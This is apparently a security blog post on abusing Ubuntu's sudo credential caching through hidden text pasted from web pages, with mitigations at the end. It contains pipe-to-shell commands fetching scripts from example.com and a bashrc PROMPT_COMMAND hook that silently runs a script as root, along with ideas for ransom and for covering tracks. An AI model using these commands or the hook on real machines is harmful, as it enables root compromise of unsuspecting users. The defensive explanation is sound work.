Ubuntu is configured by default to cache the user’s credentials for a couple minutes after a successful use of sudo. This is very comfortable. When you enter a couple commands in succession, you do not have to enter the password every single time. Take the following:

sudo apt-get update sudo apt-get upgrade sudo apt-get dist-upgrade

If the sudo authentication would not be cached, you would have to enter your password three times.

The hidden text

There is a danger to this. One often finds code snippets on the internet which will tell you to perform some commands like the apt-get commands up there. There is a very subtle trick to smuggle in something you did not see. Take the following text. Mark it with your mouse, copy and paste it in the text field right below. You can also paste it into your terminal, this snippet is not malicious.

echo I have copied this from the DANGEROUS internet.

Did the word DANGEROUS show up? If not, your browser is smarter than mine. Now an attacker can do the following. First he will tell you to run something innocent like sudo apt-get update. You enter your password and your credentials are cached. Then after a few other innocent commands he will prepare something like the following:

something; curl example.com/dangerous.sh | sudo bash; something

The part between the ; will be hidden, of course. You would only see something; something which looks good to you. The dangerous.sh will contain some malicious payload which is then directly executed as root.

Some malicious things I could think of:

  • Set up a cron job to download more payload every day. You never know what you might want to do with a hacked computer, right?
  • Add your own package repository to the system. Then you can even “update” packages on the machine and the user will think that he is installing legitimate update. openSUSE’s zypper will tell you about those “vendor changes” which is a very good thing.
  • Create yourself a user account on the machine and do something funny with it.
  • Change the root password, remove all other users from the sudoers file and adm group. Then demand a ransom. If you have bad luck, the user knows how to use a Live CD and not to trust a compromised system.

The advanced hidden text

So I have shown you a way to get superuser access to a computer with the sudo timeout when you get the user to paste something into his terminal session where the credentials are cached. But some users might be more careful. They might know about the credential caching and only copy code from the internet when it does not involve sudo. One can still get them with the timeout. It is just a tad harder.

The sudo credential caching usually only works within the active session. So when you open a second terminal window and execute something with sudo, you will have to type the password again. Otherwise you could simply have some process lurking in the background and try to call sudo every minute to see whether the timeout is activated.

One needs to sneak into the currently active terminal window. It is not hard and I will show you how easy it is to do. First one needs to upload a script like the following to say example.com/mount_attack.sh:

#!/bin/bash

echo 'PROMPT_COMMAND="sudo -n ~/.try_root.sh &> /dev/null && echo Owned!"' >> ~/.bashrc

cat > ~/.try_root.sh <<EOF
#!/bin/bash
touch /tmp/owned
EOF

chmod +x ~/.try_root.sh

Using the method described above, get the user to execute something like curl example.com/mount_attack.sh | bash. Since no superuser permissions are involved, there is no waiting or dependence on the timeout.

The next time the user opens up a terminal, the new .bashrc will be read. The PROMPT_COMMAND is executed before the prompt is displayed. The -n flag lets sudo run in non-interactive mode. It will just fail if the credentials are not cached. All output is suppressed, so the user will not notice anything.

Once the superuser credentials are cached in the current session, the PROMPT_COMMAND will be able to execute the .try_root.sh script which will then dig into the system and make itself at home. It could do all the things that I have mentioned above.

In a real attack, one would obfuscate the names of all things involved. After gaining superuser access it would be a good idea to remove the traces within the home directory.

Mitigation

One should be able to protect themselves from this. You can do this in layers.

  • Disable the sudo timeout completely. This can be done by adding the following line to /etc/sudoers:

    Defaults timestamp_timeout=0

    Instead you can use sudo -i to obtain a root login shell to type all the commands without sudo. This is more secure than using sudo -s since that uses the .bashrc of root instead of your own. An attack I just showed you here should be possible against the use of sudo -s as well. Just wait until the user ID changes to 0 and launch your code.

  • Do not copy & paste code from websites directly into your shell. Paste it into an editor window instead and look what it does. Alternatively you could type the commands yourself as well.

Regularly scanning files like .bashrc for those kind of things are probably not really doing any good. The attacker would just remove all the traces once the attack is launched. There are so many attack vectors, cleaning up is probably not worth the effort. Rather invest in security up front by being cautious.